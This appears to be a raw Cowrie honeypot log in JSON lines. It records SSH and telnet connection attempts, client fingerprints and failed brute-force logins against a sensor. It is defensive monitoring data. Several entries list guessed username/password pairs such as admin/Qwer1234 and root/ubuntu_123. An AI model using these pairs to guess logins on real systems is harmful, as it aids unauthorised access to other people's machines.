{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:15.919026Z","src_ip":"194.59.206.2","session":"f3d58e44172f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:16.014228Z","src_ip":"194.59.206.2","session":"f3d58e44172f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":44184,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a52ea66d606","protocol":"ssh","message":"New connection: 202.145.0.61:44184 (159.203.135.109:22) [session: 8a52ea66d606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:21.840975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:21.845472Z","src_ip":"202.145.0.61","session":"8a52ea66d606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:22.079103Z","src_ip":"202.145.0.61","session":"8a52ea66d606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ptest","password":"ptest","message":"login attempt [ptest/ptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:23.044734Z","src_ip":"202.145.0.61","session":"8a52ea66d606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:24.283644Z","src_ip":"202.145.0.61","session":"8a52ea66d606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9d1eefcdc2","protocol":"telnet","message":"New connection: 135.148.33.91:36906 (159.203.135.109:23) [session: 3c9d1eefcdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:35.307170Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7498d124d435","protocol":"ssh","message":"New connection: 119.28.9.170:58270 (159.203.135.109:22) [session: 7498d124d435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:02.153221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:02.158715Z","src_ip":"119.28.9.170","session":"7498d124d435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:02.368931Z","src_ip":"119.28.9.170","session":"7498d124d435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd02","message":"login attempt [admin/P@ssw0rd02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:03.217377Z","src_ip":"119.28.9.170","session":"7498d124d435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:04.426448Z","src_ip":"119.28.9.170","session":"7498d124d435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15110373497009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:10.458150Z","src_ip":"135.148.33.91","session":"3c9d1eefcdc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":60908,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c9257e9859","protocol":"ssh","message":"New connection: 202.145.0.61:60908 (159.203.135.109:22) [session: a1c9257e9859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:17.212941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:17.217604Z","src_ip":"202.145.0.61","session":"a1c9257e9859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:17.458451Z","src_ip":"202.145.0.61","session":"a1c9257e9859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@2023","message":"login attempt [dev/dev@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:18.455373Z","src_ip":"202.145.0.61","session":"a1c9257e9859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:19.699991Z","src_ip":"202.145.0.61","session":"a1c9257e9859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":46204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d962666e85f9","protocol":"ssh","message":"New connection: 119.28.9.170:46204 (159.203.135.109:22) [session: d962666e85f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:50.425929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:50.431413Z","src_ip":"119.28.9.170","session":"d962666e85f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:50.644991Z","src_ip":"119.28.9.170","session":"d962666e85f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123!@#","message":"login attempt [hadoop/hadoop123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:51.511341Z","src_ip":"119.28.9.170","session":"d962666e85f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:23:52.723475Z","src_ip":"119.28.9.170","session":"d962666e85f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":49410,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3eabb2f3408","protocol":"ssh","message":"New connection: 202.145.0.61:49410 (159.203.135.109:22) [session: e3eabb2f3408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:10.646153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:10.650776Z","src_ip":"202.145.0.61","session":"e3eabb2f3408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:10.891613Z","src_ip":"202.145.0.61","session":"e3eabb2f3408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwer1234","message":"login attempt [admin/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:11.884060Z","src_ip":"202.145.0.61","session":"e3eabb2f3408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:13.129869Z","src_ip":"202.145.0.61","session":"e3eabb2f3408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":34140,"dst_ip":"159.203.135.109","dst_port":22,"session":"85381b7f9342","protocol":"ssh","message":"New connection: 119.28.9.170:34140 (159.203.135.109:22) [session: 85381b7f9342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:38.676914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:38.681533Z","src_ip":"119.28.9.170","session":"85381b7f9342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:38.887734Z","src_ip":"119.28.9.170","session":"85381b7f9342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu_123","message":"login attempt [root/ubuntu_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:39.724506Z","src_ip":"119.28.9.170","session":"85381b7f9342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:24:40.929771Z","src_ip":"119.28.9.170","session":"85381b7f9342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":37902,"dst_ip":"159.203.135.109","dst_port":22,"session":"5966ea5ffdec","protocol":"ssh","message":"New connection: 202.145.0.61:37902 (159.203.135.109:22) [session: 5966ea5ffdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:03.805595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:03.810964Z","src_ip":"202.145.0.61","session":"5966ea5ffdec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:04.045374Z","src_ip":"202.145.0.61","session":"5966ea5ffdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test10","password":"123","message":"login attempt [test10/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:05.015524Z","src_ip":"202.145.0.61","session":"5966ea5ffdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:06.256265Z","src_ip":"202.145.0.61","session":"5966ea5ffdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.196.148","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9767738fa0","protocol":"telnet","message":"New connection: 189.217.196.148:38608 (10.17.0.5:23) [session: dd9767738fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:15.234426Z"}
{"eventid":"cowrie.session.closed","duration":12.658726930618286,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:27.893013Z","src_ip":"189.217.196.148","session":"dd9767738fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":54624,"dst_ip":"159.203.135.109","dst_port":22,"session":"691c7facb556","protocol":"ssh","message":"New connection: 202.145.0.61:54624 (159.203.135.109:22) [session: 691c7facb556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:56.734182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:56.738729Z","src_ip":"202.145.0.61","session":"691c7facb556","protocol":"ssh"}
